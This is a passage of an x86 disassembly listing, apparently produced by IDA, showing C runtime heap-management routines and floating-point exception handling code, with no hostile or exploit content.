var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, ds:dword_45FE58
mov edx, ds:dword_45FE5C
push ebx
push esi
lea eax, [eax+eax*4]
push edi
lea edi, [edx+eax*4]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
lea ecx, [eax+17h]
and ecx, 0FFFFFFF0h
mov [ebp+var_10], ecx
sar ecx, 4
dec ecx
cmp ecx, 20h
jge short loc_416F23
or esi, 0FFFFFFFFh
shr esi, cl
or [ebp+var_8], 0FFFFFFFFh
mov [ebp+var_C], esi
jmp short loc_416F33
; ---------------------------------------------------------------------------
loc_416F23: ; CODE XREF: sub_416EE3+30j
add ecx, 0FFFFFFE0h
or eax, 0FFFFFFFFh
xor esi, esi
shr eax, cl
mov [ebp+var_C], esi
mov [ebp+var_8], eax
loc_416F33: ; CODE XREF: sub_416EE3+3Ej
mov eax, ds:dword_45FE50
mov ebx, eax
cmp ebx, edi
mov [ebp+arg_0], ebx
jnb short loc_416F5A
loc_416F41: ; CODE XREF: sub_416EE3+75j
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_416F5A
add ebx, 14h
cmp ebx, [ebp+var_4]
mov [ebp+arg_0], ebx
jb short loc_416F41
loc_416F5A: ; CODE XREF: sub_416EE3+5Cj
; sub_416EE3+6Aj
cmp ebx, [ebp+var_4]
jnz short loc_416FD8
mov ebx, edx
loc_416F61: ; CODE XREF: sub_416EE3+96j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_416F7D
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_416F7B
add ebx, 14h
jmp short loc_416F61
; ---------------------------------------------------------------------------
loc_416F7B: ; CODE XREF: sub_416EE3+91j
cmp ebx, eax
loc_416F7D: ; CODE XREF: sub_416EE3+83j
jnz short loc_416FD8
loc_416F7F: ; CODE XREF: sub_416EE3+ADj
cmp ebx, [ebp+var_4]
jnb short loc_416F95
cmp dword ptr [ebx+8], 0
jnz short loc_416F92
add ebx, 14h
mov [ebp+arg_0], ebx
jmp short loc_416F7F
; ---------------------------------------------------------------------------
loc_416F92: ; CODE XREF: sub_416EE3+A5j
cmp ebx, [ebp+var_4]
loc_416F95: ; CODE XREF: sub_416EE3+9Fj
jnz short loc_416FBD
mov ebx, edx
loc_416F99: ; CODE XREF: sub_416EE3+C6j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_416FAD
cmp dword ptr [ebx+8], 0
jnz short loc_416FAB
add ebx, 14h
jmp short loc_416F99
; ---------------------------------------------------------------------------
loc_416FAB: ; CODE XREF: sub_416EE3+C1j
cmp ebx, eax
loc_416FAD: ; CODE XREF: sub_416EE3+BBj
jnz short loc_416FBD
call sub_4171EC
mov ebx, eax
test ebx, ebx
mov [ebp+arg_0], ebx
jz short loc_416FD1
loc_416FBD: ; CODE XREF: sub_416EE3:loc_416F95j
; sub_416EE3:loc_416FADj
push ebx
call sub_41729D
pop ecx
mov ecx, [ebx+10h]
mov [ecx], eax
mov eax, [ebx+10h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_416FD8
loc_416FD1: ; CODE XREF: sub_416EE3+D8j
xor eax, eax
jmp loc_4171E7
; ---------------------------------------------------------------------------
loc_416FD8: ; CODE XREF: sub_416EE3+7Aj
; sub_416EE3:loc_416F7Dj ...
mov ds:dword_45FE50, ebx
mov eax, [ebx+10h]
mov edx, [eax]
cmp edx, 0FFFFFFFFh
mov [ebp+var_4], edx
jz short loc_416FFF
mov ecx, [eax+edx*4+0C4h]
mov edi, [eax+edx*4+44h]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_417036
loc_416FFF: ; CODE XREF: sub_416EE3+106j
mov edx, [eax+0C4h]
mov esi, [eax+44h]
and edx, [ebp+var_8]
and esi, [ebp+var_C]
and [ebp+var_4], 0
lea ecx, [eax+44h]
or edx, esi
mov esi, [ebp+var_C]
jnz short loc_417033
loc_41701C: ; CODE XREF: sub_416EE3+14Ej
mov edx, [ecx+84h]
inc [ebp+var_4]
and edx, [ebp+var_8]
add ecx, 4
mov edi, esi
and edi, [ecx]
or edx, edi
jz short loc_41701C
loc_417033: ; CODE XREF: sub_416EE3+137j
mov edx, [ebp+var_4]
loc_417036: ; CODE XREF: sub_416EE3+11Aj
mov ecx, edx
xor edi, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [eax+edx*4+44h]
and ecx, esi
jnz short loc_41705F
mov ecx, [eax+edx*4+0C4h]
push 20h
and ecx, [ebp+var_8]
pop edi
loc_41705F: ; CODE XREF: sub_416EE3+16Dj
; sub_416EE3+183j
test ecx, ecx
jl short loc_417068
shl ecx, 1
inc edi
jmp short loc_41705F
; ---------------------------------------------------------------------------
loc_417068: ; CODE XREF: sub_416EE3+17Ej
mov ecx, [ebp+var_C]
mov edx, [ecx+edi*8+4]
mov ecx, [edx]
sub ecx, [ebp+var_10]
mov esi, ecx
mov [ebp+var_8], ecx
sar esi, 4
dec esi
cmp esi, 3Fh
jle short loc_417085
push 3Fh
pop esi
loc_417085: ; CODE XREF: sub_416EE3+19Dj
cmp esi, edi
jz loc_41719A
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_4170F6
cmp edi, 20h
jge short loc_4170C5
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
not ebx
mov [ebp+var_14], ebx
and ebx, [eax+ecx*4+44h]
mov [eax+ecx*4+44h], ebx
dec byte ptr [edi]
jnz short loc_4170F3
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx], ecx
jmp short loc_4170F6
; ---------------------------------------------------------------------------
loc_4170C5: ; CODE XREF: sub_416EE3+1B5j
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
lea ecx, [eax+ecx*4+0C4h]
not ebx
and [ecx], ebx
dec byte ptr [edi]
mov [ebp+var_14], ebx
jnz short loc_4170F3
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx+4], ecx
jmp short loc_4170F6
; ---------------------------------------------------------------------------
loc_4170F3: ; CODE XREF: sub_416EE3+1D6j
; sub_416EE3+203j
mov ebx, [ebp+arg_0]
loc_4170F6: ; CODE XREF: sub_416EE3+1B0j
; sub_416EE3+1E0j ...
mov ecx, [edx+8]
mov edi, [edx+4]
cmp [ebp+var_8], 0
mov [ecx+4], edi
mov ecx, [edx+4]
mov edi, [edx+8]
mov [ecx+8], edi
jz loc_4171A6
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [edx+4], edi
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_417197
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_0+3], cl
jge short loc_417168
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_417156
mov edi, 80000000h
mov ecx, esi
shr edi, cl
or [ebx], edi
loc_417156: ; CODE XREF: sub_416EE3+266j
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+var_4]
or [eax+ecx*4+44h], edi
jmp short loc_417197
; ---------------------------------------------------------------------------
loc_417168: ; CODE XREF: sub_416EE3+25Aj
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_417181
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
or [ebx+4], edi
loc_417181: ; CODE XREF: sub_416EE3+28Fj
mov ecx, [ebp+var_4]
lea edi, [eax+ecx*4+0C4h]
lea ecx, [esi-20h]
mov esi, 80000000h
shr esi, cl
or [edi], esi
loc_417197: ; CODE XREF: sub_416EE3+24Ej
; sub_416EE3+283j
mov ecx, [ebp+var_8]
loc_41719A: ; CODE XREF: sub_416EE3+1A4j
test ecx, ecx
jz short loc_4171A9
mov [edx], ecx
mov [ecx+edx-4], ecx
jmp short loc_4171A9
; ---------------------------------------------------------------------------
loc_4171A6: ; CODE XREF: sub_416EE3+229j
mov ecx, [ebp+var_8]
loc_4171A9: ; CODE XREF: sub_416EE3+2B9j
; sub_416EE3+2C1j
mov esi, [ebp+var_10]
add edx, ecx
lea ecx, [esi+1]
mov [edx], ecx
mov [edx+esi-4], ecx
mov esi, [ebp+var_C]
mov ecx, [esi]
test ecx, ecx
lea edi, [ecx+1]
mov [esi], edi
jnz short loc_4171DF
cmp ebx, ds:dword_45FE54
jnz short loc_4171DF
mov ecx, [ebp+var_4]
cmp ecx, ds:dword_45FE4C
jnz short loc_4171DF
and ds:dword_45FE54, 0
loc_4171DF: ; CODE XREF: sub_416EE3+2E0j
; sub_416EE3+2E8j ...
mov ecx, [ebp+var_4]
mov [eax], ecx
lea eax, [edx+4]
loc_4171E7: ; CODE XREF: sub_416EE3+F0j
pop edi
pop esi
pop ebx
leave
retn
sub_416EE3 endp
; =============== S U B R O U T I N E =======================================
sub_4171EC proc near ; CODE XREF: sub_416EE3+CCp
mov eax, ds:dword_45FE58
mov ecx, ds:dword_45FE48
push esi
push edi
xor edi, edi
cmp eax, ecx
jnz short loc_41722F
lea eax, [ecx+ecx*4+50h]
shl eax, 2
push eax
push ds:dword_45FE5C
push edi
push ds:dword_45FE60
call ds:dword_41F154 ; RtlReAllocateHeap
cmp eax, edi
jz short loc_41727F
add ds:dword_45FE48, 10h
mov ds:dword_45FE5C, eax
mov eax, ds:dword_45FE58
loc_41722F: ; CODE XREF: sub_4171EC+11j
mov ecx, ds:dword_45FE5C
push 41C4h
push 8
lea eax, [eax+eax*4]
push ds:dword_45FE60
lea esi, [ecx+eax*4]
call ds:dword_41F140 ; RtlAllocateHeap
cmp eax, edi
mov [esi+10h], eax
jz short loc_41727F
push 4
push 2000h
push 100000h
push edi
call ds:dword_41F170 ; VirtualAlloc
cmp eax, edi
mov [esi+0Ch], eax
jnz short loc_417283
push dword ptr [esi+10h]
push edi
push ds:dword_45FE60
call ds:dword_41F144 ; RtlFreeHeap
loc_41727F: ; CODE XREF: sub_4171EC+30j
; sub_4171EC+67j
xor eax, eax
jmp short loc_41729A
; ---------------------------------------------------------------------------
loc_417283: ; CODE XREF: sub_4171EC+81j
or dword ptr [esi+8], 0FFFFFFFFh
mov [esi], edi
mov [esi+4], edi
inc ds:dword_45FE58
mov eax, [esi+10h]
or dword ptr [eax], 0FFFFFFFFh
mov eax, esi
loc_41729A: ; CODE XREF: sub_4171EC+95j
pop edi
pop esi
retn
sub_4171EC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41729D proc near ; CODE XREF: sub_416EE3+DBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov esi, [ecx+10h]
mov eax, [ecx+8]
xor ebx, ebx
loc_4172AF: ; CODE XREF: sub_41729D+19j
test eax, eax
jl short loc_4172B8
shl eax, 1
inc ebx
jmp short loc_4172AF
; ---------------------------------------------------------------------------
loc_4172B8: ; CODE XREF: sub_41729D+14j
mov eax, ebx
push 3Fh
imul eax, 204h
pop edx
lea eax, [eax+esi+144h]
mov [ebp+var_4], eax
loc_4172CD: ; CODE XREF: sub_41729D+3Aj
mov [eax+8], eax
mov [eax+4], eax
add eax, 8
dec edx
jnz short loc_4172CD
mov edi, ebx
push 4
shl edi, 0Fh
add edi, [ecx+0Ch]
push 1000h
push 8000h
push edi
call ds:dword_41F170 ; VirtualAlloc
test eax, eax
jnz short loc_417300
or eax, 0FFFFFFFFh
jmp loc_417393
; ---------------------------------------------------------------------------
loc_417300: ; CODE XREF: sub_41729D+59j
lea edx, [edi+7000h]
cmp edi, edx
ja short loc_417346
lea eax, [edi+10h]
loc_41730D: ; CODE XREF: sub_41729D+A7j
or dword ptr [eax-8], 0FFFFFFFFh
or dword ptr [eax+0FECh], 0FFFFFFFFh
lea ecx, [eax+0FFCh]
mov dword ptr [eax-4], 0FF0h
mov [eax], ecx
lea ecx, [eax-1004h]
mov [eax+4], ecx
mov dword ptr [eax+0FE8h], 0FF0h
add eax, 1000h
lea ecx, [eax-10h]
cmp ecx, edx
jbe short loc_41730D
loc_417346: ; CODE XREF: sub_41729D+6Bj
mov eax, [ebp+var_4]
lea ecx, [edi+0Ch]
add eax, 1F8h
push 1
pop edi
mov [eax+4], ecx
mov [ecx+8], eax
lea ecx, [edx+0Ch]
mov [eax+8], ecx
mov [ecx+4], eax
and dword ptr [esi+ebx*4+44h], 0
mov [esi+ebx*4+0C4h], edi
mov al, [esi+43h]
mov cl, al
inc cl
test al, al
mov eax, [ebp+arg_0]
mov [esi+43h], cl
jnz short loc_417383
or [eax+4], edi
loc_417383: ; CODE XREF: sub_41729D+E1j
mov edx, 80000000h
mov ecx, ebx
shr edx, cl
not edx
and [eax+8], edx
mov eax, ebx
loc_417393: ; CODE XREF: sub_41729D+5Ej
pop edi
pop esi
pop ebx
leave
retn
sub_41729D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417398 proc near ; CODE XREF: sub_41556F+58p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov ecx, [ebp+arg_0]
mov eax, [ebp+arg_8]
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov edx, edi
lea esi, [eax+17h]
sub edx, [ecx+0Ch]
mov eax, [ecx+10h]
and esi, 0FFFFFFF0h
shr edx, 0Fh
mov ecx, edx
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [edi-4]
dec ecx
cmp esi, ecx
mov [ebp+arg_8], ecx
mov ebx, [ecx+edi-4]
lea edi, [ecx+edi-4]
mov [ebp+var_4], ebx
jle loc_417546
test bl, 1
jnz loc_41753F
add ebx, ecx
cmp esi, ebx
jg loc_41753F
mov ecx, [ebp+var_4]
sar ecx, 4
dec ecx
cmp ecx, 3Fh
mov [ebp+var_8], ecx
jbe short loc_41740F
push 3Fh
pop ecx
mov [ebp+var_8], ecx
loc_41740F: ; CODE XREF: sub_417398+6Fj
mov ebx, [edi+4]
cmp ebx, [edi+8]
jnz short loc_41745F
cmp ecx, 20h
jnb short loc_41743B
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41745F
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41745F
; ---------------------------------------------------------------------------
loc_41743B: ; CODE XREF: sub_417398+82j
add ecx, 0FFFFFFE0h
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41745F
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41745F: ; CODE XREF: sub_417398+7Dj
; sub_417398+9Aj ...
mov ecx, [edi+8]
mov ebx, [edi+4]
mov [ecx+4], ebx
mov ecx, [edi+4]
mov edi, [edi+8]
mov [ecx+8], edi
mov ecx, [ebp+arg_8]
sub ecx, esi
add [ebp+var_4], ecx
cmp [ebp+var_4], 0
jle loc_41752D
mov edi, [ebp+var_4]
mov ecx, [ebp+arg_4]
sar edi, 4
dec edi
lea ecx, [ecx+esi-4]
cmp edi, 3Fh
jbe short loc_417499
push 3Fh
pop edi
loc_417499: ; CODE XREF: sub_417398+FCj
mov ebx, [ebp+var_C]
lea ebx, [ebx+edi*8]
mov [ebp+arg_8], ebx
mov ebx, [ebx+4]
mov [ecx+4], ebx
mov ebx, [ebp+arg_8]
mov [ecx+8], ebx
mov [ebx+4], ecx
mov ebx, [ecx+4]
mov [ebx+8], ecx
mov ebx, [ecx+4]
cmp ebx, [ecx+8]
jnz short loc_41751B
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_8+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_4174F2
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_4174E5
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_4174E5: ; CODE XREF: sub_417398+13Dj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, edi
jmp short loc_417517
; ---------------------------------------------------------------------------
loc_4174F2: ; CODE XREF: sub_417398+137j
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_417508
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_417508: ; CODE XREF: sub_417398+15Ej
lea eax, [eax+edx*4+0C4h]
lea ecx, [edi-20h]
mov edx, 80000000h
loc_417517: ; CODE XREF: sub_417398+158j
shr edx, cl
or [eax], edx
loc_41751B: ; CODE XREF: sub_417398+125j
mov edx, [ebp+arg_4]
mov ecx, [ebp+var_4]
lea eax, [edx+esi-4]
mov [eax], ecx
mov [ecx+eax-4], ecx
jmp short loc_417530
; ---------------------------------------------------------------------------
loc_41752D: ; CODE XREF: sub_417398+E5j
mov edx, [ebp+arg_4]
loc_417530: ; CODE XREF: sub_417398+193j
lea eax, [esi+1]
mov [edx-4], eax
mov [edx+esi-8], eax
jmp loc_417686
; ---------------------------------------------------------------------------
loc_41753F: ; CODE XREF: sub_417398+52j
; sub_417398+5Cj
xor eax, eax
jmp loc_417689
; ---------------------------------------------------------------------------
loc_417546: ; CODE XREF: sub_417398+49j
jge loc_417686
mov ebx, [ebp+arg_4]
sub [ebp+arg_8], esi
lea ecx, [esi+1]
mov [ebx-4], ecx
lea ebx, [ebx+esi-4]
mov esi, [ebp+arg_8]
mov [ebp+arg_4], ebx
sar esi, 4
dec esi
mov [ebx-4], ecx
cmp esi, 3Fh
jbe short loc_417571
push 3Fh
pop esi
loc_417571: ; CODE XREF: sub_417398+1D4j
test byte ptr [ebp+var_4], 1
jnz loc_417600
mov esi, [ebp+var_4]
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41758A
push 3Fh
pop esi
loc_41758A: ; CODE XREF: sub_417398+1EDj
mov ecx, [edi+4]
cmp ecx, [edi+8]
jnz short loc_4175D9
cmp esi, 20h
jnb short loc_4175B5
mov ebx, 80000000h
mov ecx, esi
shr ebx, cl
lea esi, [esi+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [esi]
jnz short loc_4175D6
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_4175D6
; ---------------------------------------------------------------------------
loc_4175B5: ; CODE XREF: sub_417398+1FDj
lea ecx, [esi-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [esi+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_4175D6
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_4175D6: ; CODE XREF: sub_417398+214j
; sub_417398+21Bj ...
mov ebx, [ebp+arg_4]
loc_4175D9: ; CODE XREF: sub_417398+1F8j
mov ecx, [edi+8]
mov esi, [edi+4]
mov [ecx+4], esi
mov ecx, [edi+4]
mov esi, [edi+8]
mov [ecx+8], esi
mov esi, [ebp+arg_8]
add esi, [ebp+var_4]
mov [ebp+arg_8], esi
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_417600
push 3Fh
pop esi
loc_417600: ; CODE XREF: sub_417398+1DDj
; sub_417398+263j
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [ebx+4], edi
mov [ebx+8], ecx
mov [ecx+4], ebx
mov ecx, [ebx+4]
mov [ecx+8], ebx
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41767D
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [esi+eax+4], cl
jnb short loc_417654
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_417647
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx], edi
loc_417647: ; CODE XREF: sub_417398+29Fj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, esi
jmp short loc_417679
; ---------------------------------------------------------------------------
loc_417654: ; CODE XREF: sub_417398+299j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41766A
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx+4], edi
loc_41766A: ; CODE XREF: sub_417398+2C0j
lea eax, [eax+edx*4+0C4h]
lea ecx, [esi-20h]
mov edx, 80000000h
loc_417679: ; CODE XREF: sub_417398+2BAj
shr edx, cl
or [eax], edx
loc_41767D: ; CODE XREF: sub_417398+287j
mov eax, [ebp+arg_8]
mov [ebx], eax
mov [eax+ebx-4], eax
loc_417686: ; CODE XREF: sub_417398+1A2j
; sub_417398:loc_417546j
push 1
pop eax
loc_417689: ; CODE XREF: sub_417398+1A9j
pop edi
pop esi
pop ebx
leave
retn
sub_417398 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __fastcall sub_41768E(int, int, double, int)
sub_41768E proc near ; CODE XREF: sub_413F02+51p
; sub_41404B+51p
var_1C = qword ptr -1Ch
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp ds:dword_42DA68, 0
jnz short loc_4176C3
push [ebp+arg_C] ; int
fld qword ptr [ebp+arg_4]
push ecx
push ecx ; double
fstp [esp+0Ch+var_C]
push ecx ; int
push ecx ; int
fldz
fstp [esp+14h+var_14]
fld qword ptr [ebp+arg_4]
push ecx ; int
push ecx ; int
fstp [esp+1Ch+var_1C]
push [ebp+arg_0] ; int
push 1 ; int
call sub_417C43
add esp, 24h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4176C3: ; CODE XREF: sub_41768E+Aj
push 0FFFFh
mov ds:dword_45E804, 21h
push [ebp+arg_C]
call sub_417EB6
fld qword ptr [ebp+arg_4]
pop ecx
pop ecx
pop ebp
retn
sub_41768E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4176E1(int, int, double, double, int)
sub_4176E1 proc near ; CODE XREF: sub_413F02:loc_413FC5p
; sub_41404B:loc_41410Ep
var_74 = qword ptr -74h
var_6C = qword ptr -6Ch
var_64 = qword ptr -64h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_20 = dword ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = qword ptr 10h
arg_10 = qword ptr 18h
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 58h
push [ebp+arg_18]
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_0]
call sub_417A2C
add esp, 0Ch
test eax, eax
jnz short loc_41771F
lea eax, [ebp+arg_10]
and [ebp+var_20], 0FFFFFFFEh
push eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+arg_18]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_58]
push eax
call sub_417779
add esp, 18h
loc_41771F: ; CODE XREF: sub_4176E1+1Aj
push [ebp+arg_0]
call sub_417D16
cmp ds:dword_42DA68, 0
pop ecx
jnz short loc_41775D
test eax, eax
jz short loc_41775D
push [ebp+arg_18] ; int
fld [ebp+arg_10]
push ecx
push ecx ; double
fstp [esp+64h+var_64]
push ecx ; int
push ecx ; int
fldz
fstp [esp+6Ch+var_6C]
fld [ebp+arg_8]
push ecx ; int
push ecx ; int
fstp [esp+74h+var_74]
push [ebp+arg_4] ; int
push eax ; int
call sub_417C43
add esp, 24h
leave
retn
; ---------------------------------------------------------------------------
loc_41775D: ; CODE XREF: sub_4176E1+4Ej
; sub_4176E1+52j
push eax
call sub_417CCB
mov [esp+5Ch+var_5C], 0FFFFh
push [ebp+arg_18]
call sub_417EB6
fld [ebp+arg_10]
pop ecx
pop ecx
leave
retn
sub_4176E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417779 proc near ; CODE XREF: sub_4176E1+36p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
xor eax, eax
push ebx
push esi
mov [ecx+4], eax
mov ecx, [ebp+arg_0]
push edi
push 1
mov [ecx+8], eax
mov ecx, [ebp+arg_0]
pop ebx
mov [ecx+0Ch], eax
mov cl, byte ptr [ebp+arg_8]
test cl, 10h
jz short loc_4177AB
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Fh
or [eax+4], ebx
loc_4177AB: ; CODE XREF: sub_417779+23j
test cl, 2
jz short loc_4177BE
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000093h
or dword ptr [eax+4], 2
loc_4177BE: ; CODE XREF: sub_417779+35j
test cl, bl
jz short loc_4177D0
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000091h
or dword ptr [eax+4], 4
loc_4177D0: ; CODE XREF: sub_417779+47j
test cl, 4
jz short loc_4177E3
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Eh
or dword ptr [eax+4], 8
loc_4177E3: ; CODE XREF: sub_417779+5Aj
test cl, 8
jz short loc_4177F6
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000090h
or dword ptr [eax+4], 10h
loc_4177F6: ; CODE XREF: sub_417779+6Dj
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_0]
push 2
mov ecx, [esi]
mov edx, [eax+8]
not ecx
and ecx, ebx
and edx, 0FFFFFFEFh
shl ecx, 4
or ecx, edx
pop edi
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
and ecx, 4
shl ecx, 1
and edx, 0FFFFFFF7h
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 1
and ecx, 4
and edx, 0FFFFFFFBh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 3
and ecx, edi
and edx, 0FFFFFFFDh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 5
and ecx, ebx
and edx, 0FFFFFFFEh
or ecx, edx
mov [eax+8], ecx
call sub_417E99
test al, bl
jz short loc_41787F
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 10h
loc_41787F: ; CODE XREF: sub_417779+FDj
test al, 4
jz short loc_41788A
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 8
loc_41788A: ; CODE XREF: sub_417779+108j
test al, 8
jz short loc_417895
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 4
loc_417895: ; CODE XREF: sub_417779+113j
test al, 10h
jz short loc_41789F
mov ecx, [ebp+arg_0]
or [ecx+0Ch], edi
loc_41789F: ; CODE XREF: sub_417779+11Ej
test al, 20h
jz short loc_4178A9
mov eax, [ebp+arg_0]
or [eax+0Ch], ebx
loc_4178A9: ; CODE XREF: sub_417779+128j
mov eax, [esi]
mov ecx, 0C00h
and eax, ecx
jz short loc_4178E8
cmp eax, 400h
jz short loc_4178DA
cmp eax, 800h
jz short loc_4178CE
cmp eax, ecx
jnz short loc_4178EE
mov eax, [ebp+arg_0]
or dword ptr [eax], 3
jmp short loc_4178EE
; ---------------------------------------------------------------------------
loc_4178CE: ; CODE XREF: sub_417779+147j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
or ecx, edi
jmp short loc_4178E4
; ---------------------------------------------------------------------------
loc_4178DA: ; CODE XREF: sub_417779+140j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFDh
or ecx, ebx
loc_4178E4: ; CODE XREF: sub_417779+15Fj
mov [eax], ecx
jmp short loc_4178EE
; ---------------------------------------------------------------------------
loc_4178E8: ; CODE XREF: sub_417779+139j
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFFCh
loc_4178EE: ; CODE XREF: sub_417779+14Bj
; sub_417779+153j ...
mov eax, [esi]
mov ecx, 300h
and eax, ecx
jz short loc_417919
cmp eax, 200h
jz short loc_41790C
cmp eax, ecx
jnz short loc_417926
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFE3h
jmp short loc_417926
; ---------------------------------------------------------------------------
loc_41790C: ; CODE XREF: sub_417779+185j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE7h
or ecx, 4
jmp short loc_417924
; ---------------------------------------------------------------------------
loc_417919: ; CODE XREF: sub_417779+17Ej
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFEBh
or ecx, 8
loc_417924: ; CODE XREF: sub_417779+19Ej
mov [eax], ecx
loc_417926: ; CODE XREF: sub_417779+189j
